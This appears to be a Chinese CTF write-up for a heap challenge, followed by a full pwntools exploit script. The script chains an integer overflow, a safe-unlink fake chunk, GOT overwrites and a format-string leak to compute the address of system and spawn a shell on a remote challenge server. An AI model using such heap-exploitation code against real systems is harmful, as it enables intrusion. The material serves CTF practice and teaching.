我们使用的溢出数据是用于构造一个fake chunk来实现safe unlink的利用，具体的原理可以看这一章节的讲解。
data = ''
data += p64(0) + p64(512+1) #fake chunk header
data += p64(0x6020e0-0x18) + p64(0x6020e0-0x10) #fake fd and bk
data += 'A'*(512-32)
data += p64(512) + p64(512+16)
之后释放note4，note3与note4就会合并。note3_ptr会指向note0_ptr的位置。这样我们通过不断的修改note0_ptr的值和edit note0就可以实现任意地址写数据。
但是题目没有提供show功能，所以无法进行任意地址读，也就无法泄漏数据。 这里采用的办法是把free的got表改为printf的值，然后在bbs中一块空白的区域写入"%x"。 这样当free这块区域（这块区域在ptr_array中，所以可以直接传递给free），就可以泄漏出栈中的数据。 通过栈中的libc地址求出system的地址就可以利用任意地址写获得shell
free(4)
edit(3,free_got)
edit(0,printf_plt)
edit(3,p64(0x6020e8))
edit(0,'%llx.'*30)
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
import time
def malloc(size,data):
print conn.recvuntil('>>')
conn.sendline('1')
print conn.recvuntil('1024)')
conn.sendline(str(size))
print conn.recvuntil('content:')
conn.sendline(data)
print conn.recvuntil('\n')
def edit(id,data):
print conn.recvuntil('>>')
conn.sendline('3')
print conn.recvuntil('note:')
conn.sendline(str(id))
print conn.recvuntil('ent:')
conn.sendline(data)
print conn.recvuntil('success')
def free(id):
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(id))
print conn.recvuntil('success')
conn = remote('115.28.27.103',9003)
free_got = p64(0x602018)
puts_got = p64(0x602020)
stack_got = p64(0x602038)
printf_got = p64(0x602030)
exit_got = p64(0x602078)
printf_plt = p64(0x400750)
puts_plt = p64(0x400730)
#libcstartmain_ret_off = 0x21b45
#sys_off = 0x414f0
libcstartmain_ret_off = 0x21ec5
sys_off = 0x46640
# 1. int overflow lead to double free
intoverflow = -9223372036854775808
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,'/bin/sh\0')
malloc(512,p64(0x400ef8))
malloc(512,'/bin/sh\0')
# 2. make a fake chunk and modify the next chunk's pre size
fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0-0x10) + 'A'*(512-32) + p64(512) + p64(512+16)
edit(3,'aaaaaa')
edit(intoverflow,fakechunk)
# 3. double free
free(4)
# 4. overwrite got
edit(3,free_got)
edit(0,printf_plt+printf_plt)
# 5. leak the stack data
edit(3,p64(0x6020e8))
edit(0,'%llx.'*30)
# free->puts
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
ret = conn.recvuntil('success')
print ret
# 6. calcuate the system's addr
libcstart = ret.split('.')[10]
libcstart_2 = int(libcstart,16) - libcstartmain_ret_off
print 'libc start addr:',hex(libcstart_2)
system_addr = libcstart_2 + sys_off
print 'system_addr:',hex(system_addr)
# 7. overwrite free's got
edit(3,free_got)
edit(0,p64(system_addr)+printf_plt)
# 8. write argv
edit(3,p64(0x6020d0))
edit(0,'/bin/sh\0')
# 9. exploit
print conn.recvuntil('>>')
conn.sendline('4')
print conn.recvuntil('note:')
conn.sendline(str(0))
sleep(0.2)
conn.interactive()